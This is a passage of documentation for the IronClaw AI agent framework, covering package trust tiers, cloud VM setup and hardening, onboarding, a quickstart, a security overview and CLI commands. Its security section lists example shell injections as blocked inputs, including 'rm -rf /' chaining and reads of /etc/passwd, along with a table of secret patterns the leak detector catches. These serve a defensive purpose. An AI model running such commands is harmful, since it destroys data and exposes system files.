acknowledgement the gate requires, so the install is refused no matter how you answer. Install those from the CLI with `--acknowledge-unverified`. *** ## Where things are installed | Package | Destination | | - | - | | Skills | `~/.ironclaw/installed_skills//` | | Tools | Active as an agent tool immediately after install | *** ## Trust and tool access Packages installed from IronHub have **Installed** trust — the model sees the skill description but not its full prompt body, and the agent cannot self-activate them. Skills you place directly in your skills directory have **Trusted** trust — the full prompt body is loaded and the agent can activate them autonomously. | Source | Trust | Content visibility | Model self-activation | | - | - | - | - | | `~/.ironclaw/skills/` or workspace `skills/` | Trusted | Full prompt body available to the model | Yes | | IronHub install | Installed | Description only — full body not injected | No | If you fully trust an IronHub skill, move it to `~/.ironclaw/skills/` after reviewing its contents. Never move a skill you haven't reviewed into the trusted directory. A skill in `~/.ironclaw/skills/` has the same execution power as you do. # Overview Source: https://docs.ironclaw.com/hub/overview The official catalog of installable tools and skills IronHub is the catalog of tools and skills for IronClaw, hosted at [hub.ironclaw.com](https://hub.ironclaw.com). Every entry is cryptographically signed — IronClaw verifies the signature before installation so you know exactly what you're installing and who published it. Browse the catalog of available tools and skills. See what others are building with IronClaw extensions. *** ## What's in the catalog IronHub distributes two kinds of packages: | Kind | What it is | What you get | | - | - | - | | Extension (Tool) | WASM binary + capability manifest (TOML, `manifest.toml`) | A new tool your agent can call at runtime | | Skill | SKILL.md | Prompt instructions the agent loads on demand | *** ## Provenance tiers Every catalog entry carries a provenance label that tells you how it was reviewed: | Tier | Description | | - | - | | **Official** | Published and maintained by the IronClaw team. | | **Trusted** | Reviewed by the IronClaw team for safety and correctness. | | **Verified** | Publisher identity is confirmed, but the package has not been audited. | | **Private** | Scoped to a specific organization or team — not publicly listed. | | **New** | Community submission with no review yet. Requires explicit operator acknowledgement to install — the agent cannot install these autonomously. | *** ## Next steps Install packages via CLI or chat. Publish your own tool or skill to IronHub. # Introduction Source: https://docs.ironclaw.com/index The secure, open-source AI agent IronClaw is a secure, open-source AI agent framework built in Rust and deployed on NEAR AI Cloud. It enables creating AI agents with access to your tools and services, while keeping your credentials safe and private. The fastest way to get started is the [Agent Hub](https://agent.near.ai) — sign in, spin up a private instance, and chat with your agent immediately. For local deployment, IronClaw ships as a single binary that runs a web interface on your machine where you chat with the agent, manage projects and jobs, connect channels, and change settings. Deploy your first agent in minutes. *** ## Key Capabilities Reach IronClaw from the web interface, Slack, Telegram, or the terminal Multi-layer defense: safety layer, WASM sandbox, process isolation, encrypted secrets Choose from 25+ providers: NEAR AI, Anthropic, OpenAI, Gemini, Ollama, Tinfoil, and more Give your agent access to complex tools so it can perform real-world tasks Execute multiple tasks concurrently with state machine and self-repair Hybrid search (FTS + vector) with identity files and heartbeat system ## Get started Spin up a private instance in minutes — no installation needed. Run IronClaw on your own machine with the single binary. Discover and install tools and skills from the signed catalog. # Amazon EC2 Source: https://docs.ironclaw.com/infrastructure/amazon Host IronClaw on an Amazon EC2 Instance Amazon Elastic Compute Cloud (EC2) lets you run virtual machines on AWS infrastructure with flexible pricing and a free tier for new accounts. In this guide we will launch an EC2 instance and configure it securely so you can run IronClaw and expose it to the internet. Do not feel like setting up your own infrastructure? You can install IronClaw with a few clicks on [agent.near.ai](https://agent.near.ai) *** ## Create an EC2 Instance Sign in to the [AWS Management Console](https://console.aws.amazon.com) and navigate to **EC2 → Instances → Launch Instances**. Launch instance Configure the following: * **Name**: choose a descriptive name (e.g. `ironclaw`) * **AMI**: Ubuntu Server 24.04 LTS (free tier eligible) * **Instance type**: `t2.micro` or `t3.micro` (free tier eligible) — sufficient for most use cases * **Key pair**: click **Create new key pair**, give it a name, choose RSA and `.pem` format, then download the file. Keep it in a safe place — you will not be able to download it again. Key pair creation dialog ```bash theme={null} # Restrict permissions on the downloaded key (required by SSH) chmod 400 ~/.ssh/your-key.pem ``` Under **Network settings**, click **Edit** and make sure the following inbound rules are set in the security group: | Type | Protocol | Port | Source | | - | - | - | - | | SSH | TCP | 22 | My IP | | HTTP | TCP | 80 | Anywhere | | HTTPS | TCP | 443 | Anywhere | Restricting SSH to **My IP** is strongly recommended. It prevents brute-force attacks from the open internet. You can update this rule later if your IP changes. EC2 instance configuration Click **Launch Instance**. AWS will take a few seconds to provision the instance. *** ## Access Your Instance Once the instance is running, find its **Public IPv4 address** in the **Instances** list. EC2 instance IP address Connect from your terminal using the `.pem` key you downloaded: ```bash theme={null} # Replace and accordingly ssh -i ubuntu@ ``` The default username for Ubuntu AMIs is `ubuntu`. For Amazon Linux AMIs it would be `ec2-user`. ### Root Access Unlike DigitalOcean Droplets, EC2 Ubuntu instances do not let you log in directly as `root`. Instead, the `ubuntu` user has passwordless `sudo` privileges. All privileged commands in this guide are prefixed with `sudo` so you can run them directly without switching users. *** ## Configure Your Instance Now that we are inside the instance, we need to perform some initial configuration. We want to strengthen security by setting up a dedicated user and preparing the system for running IronClaw. ### Update and Upgrade First, make sure the system is up to date: ```bash theme={null} sudo apt update && sudo apt upgrade -y ``` ### Create a New User It is good practice to create a dedicated user with sudo privileges instead of using `ubuntu` for all operations. You can create a new user (for example, `ironclaw`) and add it to the sudo group: ```bash theme={null} sudo adduser ironclaw sudo usermod -aG sudo ironclaw ``` Copy the SSH keys from `ubuntu` to the new user so you can log in with the same key pair: ```bash theme={null} # Create the .ssh directory for the user sudo mkdir -p /home/ironclaw/.ssh # Copy the authorized_keys from the ubuntu user sudo cp ~/.ssh/authorized_keys /home/ironclaw/.ssh/authorized_keys # Set the correct ownership (critical — SSH will ignore the file otherwise) sudo chown -R ironclaw:ironclaw /home/ironclaw/ sudo chmod 700 /home/ironclaw/.ssh sudo chmod 600 /home/ironclaw/.ssh/authorized_keys ``` Open a new terminal window and confirm you can log in with the new user before continuing: ```bash theme={null} ssh -i ironclaw@ ``` Do not move forward until you have confirmed that you can log in with the new user. If you lose access without another user set up, you will need to reset your instance and start over. EC2 Security Groups already act as a network-level firewall. As long as your inbound rules are configured as shown above, no additional firewall configuration is needed on the instance itself. *** ## Install IronClaw Now that the instance is set up and secured, install IronClaw: ```bash theme={null} curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.sh | sh ``` Run the one-time setup, then start the agent: ```bash theme={null} ironclaw onboard ironclaw serve ``` `onboard` prints a login link for the web interface. On a remote host, forward the port from your own machine rather than exposing it: ```bash theme={null} ssh -N -L 3000:127.0.0.1:3000 @ ``` Once you've confirmed it works, stop the foreground server (Ctrl-C) and run it as a service instead so it survives disconnects — the service runs `serve` itself, so the two cannot share the port: ```bash theme={null} ironclaw service install && ironclaw service start ``` We recommend using a session manager like `tmux` or `screen` so you can easily detach and reattach to your running IronClaw instance between SSH sessions. *** ## Next Steps Follow our [Quickstart Guide](/quickstart) to create your first agent, connect it to Telegram, and start exploring IronClaw's capabilities. Want to talk with your agent using a messaging app? Check out the [**Channels**](/channels/overview) documentation to learn how to connect. Need your agent to perform complex tasks that require multiple tools? Check out the [**Extensions**](/extensions/overview) documentation. # DigitalOcean Droplet Source: https://docs.ironclaw.com/infrastructure/droplet Host IronClaw on a DigitalOcean Droplet DigitalOcean offers a simple and cost-effective way to run applications in the cloud thanks to its Droplets - virtual machines that can be set up in minutes. In this guide we will setup a DigitalOcean Droplet and strengthen its security so you can safely run IronClaw and expose it to the internet. Do not feel like setting up your own infrastructure? You can install IronClaw with a few clicks on [agent.near.ai](https://agent.near.ai) *** ## Create a Droplet Register on [DigitalOcean](https://cloud.digitalocean.com) and navigate to the [Droplets](https://cloud.digitalocean.com/droplets) section to create a new Droplet. droplets landing page I recommend choosing Ubuntu as the operating system - particularly the latest LTS version - and the `Basic` plan with a `Regular` disk. This currently costs around \$4/month and provides more than enough resources to run IronClaw for most use cases. droplets plan selection To connect to your Droplet, you need to set up an SSH key. You can generate a new SSH key pair on your local machine using the `ssh-keygen` command, then add the public key to your DigitalOcean account. ```bash theme={null} ssh-keygen -t rsa -b 4096 # Follow the prompts to save the key pair (e.g., id_rsa and id_rsa.pub) # Read the contents of the public key cat ~/.ssh/id_rsa.pub ``` You could also log in with a password, but using SSH keys is more secure and recommended. Make sure to keep your private key safe and do not share it with anyone. *** ## Access Your Droplet Once your Droplet is created, you can access it via SSH using the IP address provided by Digital Ocean. droplet IP Through your terminal, use SSH to connect as the `root` user to your Droplet: ```bash theme={null} # Replace with your Droplet's IP address ssh root@ ``` *** ## Configure Your Droplet Now that we are inside the Droplet, we need to perform some initial configuration. In particular, we do not want to leave `root` as the default user, and we want to strengthen Droplet security by setting a few firewall rules. ### Update and Upgrade First, let's make sure the system is up to date: ```bash theme={null} apt update && apt upgrade -y ``` ### Create a New User It is good practice to create a new user with sudo privileges instead of using `root` for daily operations. You can create a new user (for example, `ironclaw`) and add it to the sudo group: ```bash theme={null} adduser ironclaw usermod -aG sudo ironclaw ``` Since we will want to log in with this new user, we need to copy the SSH keys from `root` to the new user: ```bash theme={null} # Create the .ssh directory for the user mkdir -p /home/ironclaw/.ssh # Copy your current root authorized_keys (if you want the same key) cp ~/.ssh/authorized_keys /home/ironclaw/.ssh/authorized_keys # Set the correct permissions (critical — SSH will ignore the file otherwise) chown -R ironclaw:ironclaw /home/ironclaw/ chmod 700 /home/ironclaw/.ssh chmod 600 /home/ironclaw/.ssh/authorized_keys ``` Open a new terminal window and try to log in with the new user to confirm everything is working: ```bash theme={null} ssh ironclaw@ ``` Do not move forward until you have confirmed that you can log in with the new user. If you lose access to `root` without having another user set up, you will need to completely reset your Droplet and start over. ### Harden SSH Access To enhance the security of your Droplet, it is recommended to disable password authentication and root login for SSH. You can do this by editing the SSH configuration file `/etc/ssh/sshd_config` and setting the following parameters: ```bash theme={null} PasswordAuthentication no # Force key-based auth only Port 2222 # Change default port (optional but helps) ``` Then reboot the Droplet to apply the changes, and try to log in again using the new port: ```bash theme={null} ssh -p 2222 ironclaw@ ``` If everything works, you can now disable root login by setting `PermitRootLogin no` in the SSH configuration and rebooting again. ### Install Fail2Ban To further enhance Droplet security, install Fail2Ban. It helps protect against brute-force attacks by monitoring log files and banning IP addresses that show malicious behavior. ```bash theme={null} apt install fail2ban -y systemctl enable fail2ban systemctl start fail2ban ``` ### Setup Firewall It is also a good idea to set up a firewall to restrict access to only the necessary ports. You can use `ufw` (Uncomplicated Firewall) for this purpose: ```bash theme={null} sudo apt install ufw -y sudo ufw default deny incoming sudo ufw default allow outgoing sudo ufw allow 2222/tcp # Allow SSH on the new port sudo ufw allow 80/tcp # Allow HTTP (if needed) sudo ufw allow 443/tcp # Allow HTTPS (if needed) sudo ufw enable ``` *** ## Install IronClaw Now that we have set up and secured the Droplet, we can proceed with the IronClaw installation. You can follow the installation instructions in the [Quickstart Guide](/quickstart) to get IronClaw up and running. ``` # Install IronClaw curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.sh | sh ``` Run the one-time setup, then start the agent: ```bash theme={null} ironclaw onboard ironclaw serve ``` `onboard` prints a login link for the web interface. On a remote host, forward the port from your own machine rather than exposing it: ```bash theme={null} ssh -N -L 3000:127.0.0.1:3000 @ ``` Once you've confirmed it works, stop the foreground server (Ctrl-C) and run it as a service instead so it survives disconnects — the service runs `serve` itself, so the two cannot share the port: ```bash theme={null} ironclaw service install && ironclaw service start ``` We recommend using a session manager like `tmux` or `screen` so you can easily detach and reattach to your running IronClaw instance between SSH sessions. *** ## Next Steps Follow our [Quickstart Guide](/quickstart) to create your first agent, connect it to Telegram, and start exploring IronClaw's capabilities. Want to talk with your agent using a messaging app? Check out the [**Channels**](/channels/overview.mdx) documentation to learn how to connect. Need your agent to perform complex tasks that require multiple tools? Check out the [**Extensions**](/extensions/overview.mdx) documentation. # Google Compute Engine Source: https://docs.ironclaw.com/infrastructure/google Host IronClaw on a Google Compute Engine VM Google Compute Engine (GCE) lets you run virtual machines on Google's infrastructure with flexible pricing and a generous free tier. In this guide we will create a GCE VM instance and configure it securely so you can run IronClaw and expose only the endpoints you actually need. Do not feel like setting up your own infrastructure? You can install IronClaw with a few clicks on [agent.near.ai](https://agent.near.ai) *** ## Create a Google Cloud Project Sign in to [Google Cloud Console](https://console.cloud.google.com). If this is your first time, accept the Terms of Service when prompted. In the top navigation bar, click the **project selector** (it shows the current project name or "Select a project") → **New Project**. Fill in the project details: * **Project name**: choose a descriptive name (e.g. `ironclaw`) * **Organization**: leave as-is unless your account belongs to a Google Workspace org * **Location**: leave as-is for personal accounts Click **Create**. Google will take a few seconds to provision the project. Once created, make sure the new project is **selected** in the project selector before continuing — all resources you create are scoped to the active project. *** ## Create a VM Instance Navigate to **Compute Engine → VM instances**. If this is your first time using Compute Engine, you will be prompted to enable the Compute Engine API — click **Enable** and wait a moment. GCE VM instances landing page Click **Create Instance** and configure the following: * **Name**: choose a descriptive name (e.g. `ironclaw`) * **Region / Zone**: pick a region close to your users * **Machine type**: `e2-micro` (free tier eligible) is sufficient for most use cases, or `e2-small` for more headroom * **Boot disk**: Ubuntu 24.04 LTS, at least 10 GB * **Firewall**: leave **Allow HTTP traffic** and **Allow HTTPS traffic** unchecked for now You will add explicit firewall rules after the instance is created (see [Configure Firewall Rules](#configure-firewall-rules) below). In the left sidebar, click **Security**. Scroll down to **VM access → Add manually generated SSH keys** and click **+ Add item**, then paste your public SSH key. GCE instance configuration You can generate one locally: ```bash theme={null} ssh-keygen -t ed25519 -C "your-email@example.com" cat ~/.ssh/id_ed25519.pub # copy this value into the Console ``` The key should be in OpenSSH public key format: ` [comment]` (for example, `ssh-ed25519 AAAA... your-email@example.com`). GCE accepts multiple key types and adds the key to the instance automatically. You could also log in with a password, but using SSH keys is more secure and recommended. Make sure to keep your private key safe and do not share it with anyone. *** ## Access Your Instance Once the instance is running, find its **External IP** in the VM instances list. GCE instance IP address Click the **SSH** button next to the instance to open a browser-based terminal — no local setup needed. To connect from your own terminal using the IP address: ```bash theme={null} # Replace and accordingly ssh @ ``` *** ## Configure Firewall Rules IronClaw's Web Gateway defaults to `127.0.0.1:3000`, which means it is local-only by default and not directly reachable from the internet. Recommended exposure model: * Keep the Web Gateway bound to `127.0.0.1:3000` * Expose public traffic with a reverse proxy on `80/443` that forwards to `127.0.0.1:3000` * Or keep the gateway private and access it through SSH tunnel/VPN Navigate to **VPC Network → Firewall** in the left sidebar and create rules based on your model. Baseline rules (recommended for most setups): | Rule name | Direction | Targets | Source IP ranges | Protocols / Ports | | - | - | - | - | - | | `allow-ssh-myip` | Ingress | All instances | Your public IP (e.g. `203.0.113.10/32`) | TCP 22 | | `allow-webhook` | Ingress | All instances | `0.0.0.0/0` | TCP 8080 | If you run a reverse proxy (recommended for public web access), also allow: | Rule name | Direction | Targets | Source IP ranges | Protocols / Ports | | - | - | - | - | - | | `allow-http` | Ingress | All instances | `0.0.0.0/0` | TCP 80 | | `allow-https` | Ingress | All instances | `0.0.0.0/0` | TCP 443 | If you intentionally expose the gateway directly (generally not recommended), you must: 1. Bind a public interface with `ironclaw serve --host 0.0.0.0` (add `--port ` if not `3000`), or set `[webui].listen_host` / `[webui].listen_port` in `config.toml` so the installed service picks it up 2. Set `IRONCLAW_REBORN_WEBUI_TOKEN=` 3. Add a firewall rule for that gateway port, ideally restricted to trusted source IPs With SSH tunnel or VPN access, leave the listener at its default (`127.0.0.1`) and do not open the port in the GCE firewall. Restricting SSH to your IP prevents brute-force attacks from the internet. You can update the source range later if your IP changes. Port `8080` is required for webhooks (e.g. Telegram) to deliver events to IronClaw. On Linux, the orchestrator internal API listens on port `50051` and binds to `0.0.0.0`; unless you add a firewall rule for it, GCE's default deny-all ingress policy will still block external access. Other IronClaw listeners bind to `127.0.0.1` by default. *** ## Secure Your Instance Now that you have access to your VM, harden it before installing IronClaw. ### Update and Upgrade Make sure the system is up to date: ```bash theme={null} sudo apt update && sudo apt upgrade -y ``` ### Create a New User It is good practice to create a dedicated user with sudo privileges instead of relying on the default account. You can create a new user (for example, `ironclaw`) and add it to the sudo group: ```bash theme={null} sudo adduser ironclaw sudo usermod -aG sudo ironclaw ``` Copy your SSH key from the current user to the new one so you can log in: ```bash theme={null} # Create the .ssh directory for the new user sudo mkdir -p /home/ironclaw/.ssh # Copy the authorized_keys from the current user sudo cp ~/.ssh/authorized_keys /home/ironclaw/.ssh/authorized_keys # Set the correct permissions (critical — SSH will ignore the file otherwise) sudo chown -R ironclaw:ironclaw /home/ironclaw/ sudo chmod 700 /home/ironclaw/.ssh sudo chmod 600 /home/ironclaw/.ssh/authorized_keys ``` Open a new terminal window and confirm you can log in before continuing: ```bash theme={null} ssh ironclaw@ ``` Do not move forward until you have confirmed that you can log in with the new user. If you lose access without another user set up, you will need to recreate the VM. *** ## Install IronClaw With the server hardened, install IronClaw and start it up: ```bash theme={null} curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.sh | sh ``` Run the one-time setup, then start the agent: ```bash theme={null} ironclaw onboard ironclaw serve ``` `onboard` prints a login link for the web interface. On a remote host, forward the port from your own machine rather than exposing it: ```bash theme={null} ssh -N -L 3000:127.0.0.1:3000 @ ``` Once you've confirmed it works, stop the foreground server (Ctrl-C) and run it as a service instead so it survives disconnects — the service runs `serve` itself, so the two cannot share the port: ```bash theme={null} ironclaw service install && ironclaw service start ``` We recommend using a session manager like `tmux` or `screen` so you can easily detach and reattach to your running IronClaw instance between SSH sessions. *** ## Next Steps Follow our [Quickstart Guide](/quickstart) to create your first agent, connect it to Telegram, and start exploring IronClaw's capabilities. Want to talk with your agent using a messaging app? Check out the [**Channels**](/channels/overview) documentation to learn how to connect. Need your agent to perform complex tasks that require multiple tools? Check out the [**Extensions**](/extensions/overview) documentation. # Onboard Source: https://docs.ironclaw.com/onboard Initialize your agent's home directory and first-run settings `ironclaw onboard` is the one-time setup command. It creates your IronClaw home directory, writes a starter configuration, provisions the token used to sign in to the web interface, and walks you through choosing an inference provider. Run it once after installing. Running it again is safe — it preserves your existing `config.toml` and `providers.json` unless you pass `--force`. If you haven't installed IronClaw yet, follow the [Quickstart](/quickstart) first. *** ## Running Onboarding ```bash theme={null} ironclaw onboard ``` Onboarding resolves your IronClaw home — `~/.ironclaw/reborn` by default — and creates it if it doesn't exist. Override the location with the `IRONCLAW_REBORN_HOME` environment variable. Two files are written into that directory: * `config.toml` — the selection layer: boot profile, identity, model slots, runner timing * `providers.json` — the catalog of inference providers this install knows about Both are optional at runtime; if you delete them, IronClaw falls back to built-in defaults. See [Configuration](/capabilities/configuration). Your master encryption key is provisioned in the OS keychain, where it protects every credential IronClaw stores. It is never written to `config.toml`. On a headless host without a keychain, supply the key through the `IRONCLAW_REBORN_SECRET_MASTER_KEY` environment variable instead. In an interactive terminal, onboarding asks which provider and model to use and stores your API key. Non-interactive sessions skip this step — see below. A bearer token is written to `webui-token` and used by `ironclaw serve` whenever `IRONCLAW_REBORN_WEBUI_TOKEN` is unset. Onboarding prints a ready-to-use login link: ``` login_link: http://127.0.0.1:3000/login?token= ``` In an interactive session, onboarding offers to install and start IronClaw as an OS-native service (launchd on macOS, systemd on Linux) so it runs in the background. The installed unit runs `ironclaw serve`. Skip it with `--no-service`, or manage it later with `ironclaw service install`, `start`, `stop`, `restart`, `status`, and `uninstall`. Decline this on a **NEAR AI hosted instance**, or pass `--no-service`. The agent already runs there, and `ironclaw service` has no user service manager to talk to, so every `service` subcommand fails. Start, stop, and restart a hosted agent from the [Agent Dashboard](https://agent.near.ai/). *** ## Options | Flag | Effect | | - | - | | `--force` | Overwrite `config.toml`, `providers.json`, and the completion marker | | `--dry-run` | Print what would be written without touching the filesystem | | `--no-service` | Skip installing and starting the OS service | | `--import-history` | Reserve the history-import step in the summary | `--force` replaces your configuration files. Any provider selection, model choice, or channel settings you edited by hand are lost. `--import-history` is not wired up yet. The flag records the intent in the onboarding summary so the missing step is explicit, but no history is imported. *** ## Non-interactive Setup In CI, a container, or any piped invocation, onboarding detects the non-interactive session and skips both the provider prompts and the service install: ```bash theme={null} ironclaw onboard --no-service < /dev/null ``` It reports what remains: ``` remaining: - configure LLM credentials: rerun `ironclaw onboard` from an interactive terminal, run `ironclaw models set-provider --model ` directly, or export a provider's LLM environment variables before the next `onboard`/`serve` ``` Configure the provider yourself with either approach: ```bash theme={null} ironclaw models set-provider anthropic --model claude-sonnet-4-20250514 ``` ```bash theme={null} export ANTHROPIC_API_KEY=sk-ant-... ``` *** ## Verifying Setup Check what onboarding produced and confirm the runtime is healthy: ```bash theme={null} ironclaw config path ironclaw doctor ``` `doctor` reports your home directory, active profile, whether configuration files were found, and whether each driver initialized. *** ## What Onboarding Doesn't Set Up Onboarding covers the runtime: home directory, configuration, master key, inference provider, web token, and optionally the OS service. It does **not** connect messaging channels. Slack and Telegram are connected afterwards, in the web interface: **Admin → Configuration → fill in the channel's deployment configuration card → Save** Two things trip people up here: * **The channel's own Configure button covers only pairing.** Using **Configure** on Telegram from the Extensions page opens the pairing panel, which can only report *"An administrator must configure the Telegram bot first."* until the deployment configuration under **Admin → Configuration** is saved. That is not a permissions problem — the operator step just hasn't happened yet. * **Asking the agent to connect a channel covers only the personal half.** The operator step — saving the app or bot credentials for the instance — stays in the web interface. Once that's done, asking the agent ("connect Slack") works: it installs and activates the extension, an in-chat connection panel opens if your account still needs OAuth, and if your account is already connected the agent says so and continues. See [Channels](/channels/overview) for the full walkthrough. Every configuration key and how precedence works. Choose and configure your model provider. # Quickstart Source: https://docs.ironclaw.com/quickstart Create your first Agent in minutes This guide covers both ways to run IronClaw: spin up a private instance on the Agent Hub with no installation, or install the binary on your own machine. *** ## Agent Hub (Recommended) The fastest way to use IronClaw — no setup, no installation. ### 1. Sign in Go to [agent.near.ai](https://agent.near.ai/) and log in. Once logged in, create a new IronClaw agent. A private instance is provisioned for you. You will need to provide an SSH key to connect to your private instance. If you don't have one: ```bash theme={null} ssh-keygen -t rsa -b 4096 -C "you@example.com" cat ~/.ssh/id_rsa.pub ``` Add your SSH key to your device's SSH agent before connecting: ```bash theme={null} ssh-add ~/.ssh/id_rsa ``` ### 2. Talk to your agent Your agent is already running. You have two ways to interact: **Web interface (recommended):** Your [Agent Dashboard](https://agent.near.ai/) shows a web gateway link — open it in your browser for the full IronClaw WebChat experience. ``` https://.agents.near.ai ``` **Terminal:** Connect via SSH using the details shown in your dashboard, then start a chat session: ```bash theme={null} ssh -p @ ironclaw chat ``` For one-shot commands: ```bash theme={null} ironclaw run -m "Summarize my last three emails" ``` ### 3. Manage your agent Use the [Agent Dashboard](https://agent.near.ai/) to start, stop, or restart your instance. Updates are handled automatically by the platform. *** ## Installing locally For personal use on your own machine with full control. ### 1. Install IronClaw Install the single binary: ```bash theme={null} curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.sh | sh ``` On Windows, use the PowerShell installer: ```powershell theme={null} irm https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.ps1 | iex ``` Verify the install: ```bash theme={null} ironclaw --version ``` ### 2. Run setup Create your IronClaw home directory, provision a login token, and choose your inference provider: ```bash theme={null} ironclaw onboard ``` When it finishes it prints a login link containing your token: ``` login_link: http://127.0.0.1:3000/login?token= ``` We recommend using [NEAR AI](https://cloud.near.ai/) as your inference provider for maximum privacy and security. See [Inference Providers](/capabilities/llm-providers) for the full list of supported providers. Everything lives under `~/.ironclaw`: | File | Purpose | | - | - | | `config.toml` | Your configuration — profile, identity, model selection | | `providers.json` | The catalog of inference providers available to this install | | `webui-token` | Bearer token used by the web interface | | `.onboard-completed.json` | Marks setup as complete | Your master encryption key is stored in the OS keychain, not on disk. See [Security](/security). In a script or CI, onboarding skips the interactive prompts and the service install: ```bash theme={null} ironclaw onboard --no-service < /dev/null ``` Configure your provider separately with `ironclaw models set-provider --model `, or by exporting the provider's environment variables before running `serve`. Use `--dry-run` to see exactly what would be written without touching the filesystem. ### 3. Start the agent Start the web interface: ```bash theme={null} ironclaw serve ``` By default it listens on `127.0.0.1:3000` — local only. Open the login link from the previous step in your browser, and you'll land in the chat interface. If port 3000 is taken, pass a different one: ```bash theme={null} ironclaw serve --port 3100 ``` Use `--port 0` to let the operating system pick any free port. Print your configuration paths and read the token back: ```bash theme={null} ironclaw config path cat ~/.ironclaw/webui-token ``` Then visit `http://127.0.0.1:3000/login?token=`. ### 4. Chat with your agent Type a message in the chat and the agent will respond. From here you can also reach Projects, Jobs, Routines, and Settings from the sidebar. If you prefer the terminal, IronClaw has a REPL and a one-shot mode: ```bash theme={null} ironclaw repl ironclaw run -m "Summarize my last three emails" ``` ### 5. Keep it running To have IronClaw start automatically in the background, install it as a system service (launchd on macOS, systemd on Linux): Stop the foreground `ironclaw serve` first. The service runs `serve` too, so starting it while your terminal still holds the port fails with an address-already-in-use error. ```bash theme={null} # Ctrl-C the foreground server, then: ironclaw service install ironclaw service start ironclaw service status ``` ### 6. Update IronClaw Update to the latest release: ```bash theme={null} ironclaw-update ``` *** ## Next Steps Now that your agent is running, connect a [channel](/channels/overview) so you can reach it from a messaging app, and add [extensions](/extensions/overview) to give it more capabilities. Connect your agent to Slack or Telegram. Give your agent access to external APIs and services. # Security Source: https://docs.ironclaw.com/security IronClaw's defense-in-depth security architecture IronClaw is built from the ground up with security as a core principle. We use a defense-in-depth architecture with multiple independent layers of protection to keep your data safe while enabling powerful agent capabilities. Secrets rest encrypted, and are injected at the host boundary only for approved endpoints. Tool run in containers, are resource limited and can only contact allowlisted endpoints. Outbound traffic is scanned in real time. Secret-like data is blocked before exfiltration. Tools can reach only pre-approved endpoints. No silent phone-home to unknown hosts. *** ## Data Flow The security architecture illustrates IronClaw's **defense in depth** approach with four independent protection layers that data flows through before reaching the LLM and external services. Data Flow Diagram At all point, secrets are separated from regular data and handled with extra care. They are encrypted at rest, never enter the container, and are injected into outgoing requests at the network proxy layer. *** ## Prompt Injection Defense Multiple layers protect against prompt injection: 1. **Input validation** — Length, encoding, forbidden patterns 2. **Sanitizer** — Escapes dangerous content 3. **Policy engine** — Severity-based actions 4. **Leak detector** — Scans for 15+ secret patterns 5. **Tool output wrapping** — XML format with escape hints *** ## Leak Detector IronClaw scans all input going to the LLM - be that user input or the result of running a tool - for potential leaks of sensitive information. The leak detector uses a combination of regex patterns and heuristic checks to identify potential secrets: | Pattern | Example | | - | - | | API keys | `sk-...`, `ak-...` | | Tokens | `ghp_...`, `sess-...` | | Private keys | `-----BEGIN RSA PRIVATE KEY-----` | | Connection strings | `postgres://user:pass@...` | | AWS credentials | `AKIA...` | | GitHub tokens | `ghp_...` | *** ## Command Injection Detection Shell commands are checked for injection attempts: ```bash theme={null} # BLOCKED: Command chaining cat file; rm -rf / # BLOCKED: Subshell echo $(cat /etc/passwd) # BLOCKED: Path traversal cat ../../../etc/passwd ``` *** ## Credential Management Tools cannot access secrets directly, instead, they define what keys, oauth tokens, or API credential they need. Then they proceed to create the necessary requests, and the network proxy injects these credentials into outgoing requests without exposing them to the container. ```json theme={null} "credentials": { "google_oauth_token": { "secret_name": "google_oauth_token", "location": { "type": "bearer" }, "host_patterns": ["gmail.googleapis.com"] } } ``` *** ### Limited Network Access Tools must be explicit about which external services they can contact. This is configured in the `capabilities` section of your agent config: ```json theme={null} { "network": { "allowed_hosts": ["api.example.com"] }, "workspace": { "allowed_prefixes": ["telegram/"] } } ``` # CLI Reference Source: https://docs.ironclaw.com/using/cli Every command the ironclaw binary provides IronClaw ships as a single binary named `ironclaw`. Every command is a subcommand — running `ironclaw` on its own prints usage and exits without starting anything. ```bash theme={null} ironclaw --help ironclaw --version ``` *** ## Running the Agent | Command | What it does | | - | - | | `ironclaw serve` | Start the [web interface](/using/webui) on `127.0.0.1:3000` | | `ironclaw repl` | Start an interactive terminal session with the agent | | `ironclaw run -m ""` | Send a single message and exit | | `ironclaw status` | Print a runtime status snapshot | | `ironclaw doctor` | Check configuration and driver health without creating state | ```bash theme={null} ironclaw run -m "What changed in my repo today?" ``` `doctor` is the first thing to run when something isn't working. It reports your home directory, active profile, whether configuration files were found, and whether each driver initialized. *** ## Setup and Configuration | Command | What it does | | - | - | | `ironclaw onboard` | One-time setup — see [Onboard](/onboard) | | `ironclaw config path` | Show resolved configuration paths without creating state | | `ironclaw config init` | Write a commented `config.toml` and `providers.json` stub | | `ironclaw config list` | List every configuration key and its current value | | `ironclaw config get ` | Read one value by dot-separated key | | `ironclaw config set [value]` | Write one value; secret keys omit it and prompt | | `ironclaw profile list` | List the available boot profiles | ```bash theme={null} ironclaw config get llm.default.provider_id ironclaw config set google.client_id ``` `config init` refuses to overwrite existing files unless you pass `--force`. `config list` and `config get` read every key. `config set` is narrower: it accepts only `.api_key`, `google.client_id`, `google.client_secret`, `google.redirect_uri`, and `webui.token --rotate`, routing each to the configuration file, the encrypted secret store, or the web token file. Other supported settings are edited in `config.toml` directly; retired keys such as `slack.enabled` are refused with migration guidance. `config set` does not restart the running instance — it prints `to apply: ironclaw service restart`. See [Configuration](/capabilities/configuration). *** ## Models and Providers | Command | What it does | | - | - | | `ironclaw models list` | List available inference providers, or show one | | `ironclaw models status` | Show which model route is active | | `ironclaw models set ` | Set the default model for the active provider | | `ironclaw models set-provider ` | Set the default provider | ```bash theme={null} ironclaw models list ironclaw models set-provider anthropic --model claude-sonnet-4-20250514 ironclaw models status ``` See [Inference Providers](/capabilities/llm-providers) for the full catalog. *** ## Extensions and Skills | Command | What it does | | - | - | | `ironclaw extension search ` | Search available extension packages | | `ironclaw extension install ` | Install an extension package | | `ironclaw extension remove ` | Remove an installed extension | | `ironclaw ironhub search [query]` | Search the signed IronHub catalog (aliases: `iron-hub`, `hub`) | | `ironclaw ironhub list` | List available IronHub tools or skills | | `ironclaw ironhub info ` | Show one IronHub catalog entry | | `ironclaw ironhub install ` | Install an IronHub tool or skill | | `ironclaw skills list` | List configured skills | | 